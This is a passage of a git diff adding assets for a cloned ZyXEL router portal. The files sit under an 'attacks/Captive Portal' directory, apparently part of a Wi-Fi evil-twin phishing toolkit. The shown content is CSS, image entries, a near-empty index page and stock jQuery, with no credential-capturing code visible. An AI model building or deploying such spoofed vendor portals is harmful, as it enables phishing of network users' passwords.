32%;top:220px;z-index:153;left:1px;visibility:hidden}#popup2{position:absolute;width:100%;height:100%;background-color:#000;z-index:150;filter:alpha(Opacity=70,Style=0);-moz-opacity:.7;opacity:.7;visibility:visible}#popup4_table{position:absolute;width:60%;margin:0 32%;top:140px;z-index:153;left:1px;visibility:hidden}.space{display:block;height:20px;width:166px;line-height:20px}.space a{font-family:Arial,Helvetica,sans-serif;color:#ccc;font-size:11px;text-decoration:none}.space2{display:block;height:400px;width:166px}.space3{display:block;height:28px;background-image:url(../images/line2.gif);background-repeat:repeat-x}.space4{display:block;height:15px;width:166px;background-image:url(../images/menu_top.gif);background-repeat:repeat-x;font-family:Arial,Helvetica,sans-serif;font-size:12px;color:#feffff;font-weight:bold;text-indent:4px;padding-top:15px}.button{position:absolute;width:50%;margin:0 46%}.button ul li{display:block;float:left;margin:5px 20px}.button li a{display:block;background-image:url(../images/button_right.gif);background-position:right top;line-height:21px;font-size:11px;text-decoration:none;color:#2b002c;font-family:Arial,Helvetica,sans-serif}.button li a:hover{background-position:right -21px}.button li a span{display:block;background-image:url(../images/button_left.gif);background-position:left top;background-repeat:no-repeat;padding:0 5px 0 5px}.button li a:hover span{background-position:left -21px}.button3{display:block;width:100%;height:25px}.button3 ul li{display:block;float:right;margin-left:20px}.button3 li a{display:block;background-image:url(../images/button_right.gif);background-position:right top;line-height:21px;font-size:11px;text-decoration:none;color:#2b002c;font-family:Arial,Helvetica,sans-serif}.button3 li a:hover{background-position:right -21px}.button3 li a span{display:block;background-image:url(../images/button_left.gif);background-position:left top;background-repeat:no-repeat;padding:0 15px 0 15px}.button3 li a:hover span{background-position:left -21px}ul li.set{display:block;width:5%;font-family:Arial,Helvetica,sans-serif;color:#010101;font-size:12px;line-height:27px;text-indent:3px;text-align:center}ul li.item2{display:block;width:42%;font-family:Arial,Helvetica,sans-serif;color:#010101;font-size:12px;line-height:27px}ul li.set_p{display:block;width:5%;font-family:Arial,Helvetica,sans-serif;color:#0b70fc;font-size:12px;line-height:20px;margin-left:3px;text-indent:8px;text-align:center}ul li.item_p4{display:block;width:43%;font-family:Arial,Helvetica,sans-serif;color:#010101;font-size:12px;line-height:20px;margin-left:5px} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/update.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/update.css new file mode 100644 index 0000000..8e2344f --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/update.css @@ -0,0 +1 @@ +.box_alert{color:#c00;font-weight:bold}span.error{color:#c00;font-size:10px;font-weight:bold}progress{display:none;width:25em}progress.update{display:inline-block;-webkit-appearance:none;border:0}fieldset label.duple{width:183px;margin:1px 8px 4px 0;padding:0;border:0;text-align:right;font-weight:bold} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_bg.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_bg.gif new file mode 100644 index 0000000..95496d8 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_bg.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_logo.jpg b/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_logo.jpg new file mode 100644 index 0000000..818aef9 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_logo.jpg differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/air.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/air.gif new file mode 100644 index 0000000..35d42e8 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/air.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_close.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_close.gif new file mode 100644 index 0000000..daa8631 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_close.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config.gif new file mode 100644 index 0000000..e60efa1 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config_on.gif new file mode 100644 index 0000000..a2762da Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config_on.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard.gif new file mode 100644 index 0000000..9056300 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard_on.gif new file mode 100644 index 0000000..60e00a5 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard_on.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_maintenance_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_maintenance_on.gif new file mode 100644 index 0000000..13cebee Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_maintenance_on.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor.gif new file mode 100644 index 0000000..3708ee8 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor_on.gif new file mode 100644 index 0000000..4d60c68 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor_on.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_left.gif new file mode 100644 index 0000000..ae111fc Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_left.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_right.gif new file mode 100644 index 0000000..9f7c4d3 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_right.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/down0.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/down0.gif new file mode 100644 index 0000000..663e91f Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/down0.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/empty.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/empty.gif new file mode 100644 index 0000000..b5cf523 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/empty.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/favicon.ico b/attacks/Captive Portal/sites/Zyxel_it.portal/images/favicon.ico new file mode 100644 index 0000000..a7f2df3 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/favicon.ico differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/hightline.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/hightline.gif new file mode 100644 index 0000000..168a938 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/hightline.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_about.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_about.gif new file mode 100644 index 0000000..2daecb3 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_about.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete.gif new file mode 100644 index 0000000..60b4c55 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete_on.gif new file mode 100644 index 0000000..1181dff Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete_on.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_easy.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_easy.gif new file mode 100644 index 0000000..926e671 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_easy.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit.gif new file mode 100644 index 0000000..1531abc Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit_on.gif new file mode 100644 index 0000000..0bfaa89 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit_on.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_home.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_home.gif new file mode 100644 index 0000000..92cebe0 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_home.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_info.jpg b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_info.jpg new file mode 100644 index 0000000..951ed53 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_info.jpg differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_message.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_message.gif new file mode 100644 index 0000000..0ec54fd Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_message.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_path.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_path.gif new file mode 100644 index 0000000..b12e5d3 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_path.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_blue.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_blue.gif new file mode 100644 index 0000000..5585b41 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_blue.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_center.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_center.gif new file mode 100644 index 0000000..e98119d Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_center.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/join.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/join.gif new file mode 100644 index 0000000..1595bc3 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/join.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/loading.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/loading.gif new file mode 100644 index 0000000..9dfd3f3 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/loading.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/menu_top.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/menu_top.gif new file mode 100644 index 0000000..a143d0b Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/menu_top.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/message_bar.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/message_bar.gif new file mode 100644 index 0000000..1a73db3 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/message_bar.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/message_bar2.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/message_bar2.gif new file mode 100644 index 0000000..3898e37 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/message_bar2.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/minusbottom.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/minusbottom.gif new file mode 100644 index 0000000..0957114 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/minusbottom.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/plusbottom.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/plusbottom.gif new file mode 100644 index 0000000..c86d427 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/plusbottom.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_center.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_center.gif new file mode 100644 index 0000000..daf0602 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_center.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_left.gif new file mode 100644 index 0000000..f611400 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_left.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_right.gif new file mode 100644 index 0000000..156fa72 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_right.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_left.gif new file mode 100644 index 0000000..0f414f4 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_left.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_right.gif new file mode 100644 index 0000000..3c304c4 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_right.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_center.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_center.gif new file mode 100644 index 0000000..ee53dae Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_center.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_left.gif new file mode 100644 index 0000000..70958b6 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_left.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_right.gif new file mode 100644 index 0000000..910ef65 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_right.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/space.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/space.gif new file mode 100644 index 0000000..bf1b061 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/space.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/tab_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/tab_left.gif new file mode 100644 index 0000000..97ce6ed Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/tab_left.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/tab_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/tab_right.gif new file mode 100644 index 0000000..ea9873d Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/tab_right.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom.gif new file mode 100644 index 0000000..517058e Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_center.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_center.gif new file mode 100644 index 0000000..ed1cf96 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_center.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_left.gif new file mode 100644 index 0000000..c088b82 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_left.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_right.gif new file mode 100644 index 0000000..3a3778e Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_right.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_center.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_center.gif new file mode 100644 index 0000000..1262eaa Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_center.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_left.gif new file mode 100644 index 0000000..584d242 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_left.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_right.gif new file mode 100644 index 0000000..559a872 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_right.gif differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/title_bg.jpg b/attacks/Captive Portal/sites/Zyxel_it.portal/images/title_bg.jpg new file mode 100644 index 0000000..4c747c9 Binary files /dev/null and b/attacks/Captive Portal/sites/Zyxel_it.portal/images/title_bg.jpg differ diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/index.html b/attacks/Captive Portal/sites/Zyxel_it.portal/index.html new file mode 100644 index 0000000..2f46a3e --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/index.html @@ -0,0 +1,4 @@ + .::Welcome to ZyXEL::.
    \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/Zyxel_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return 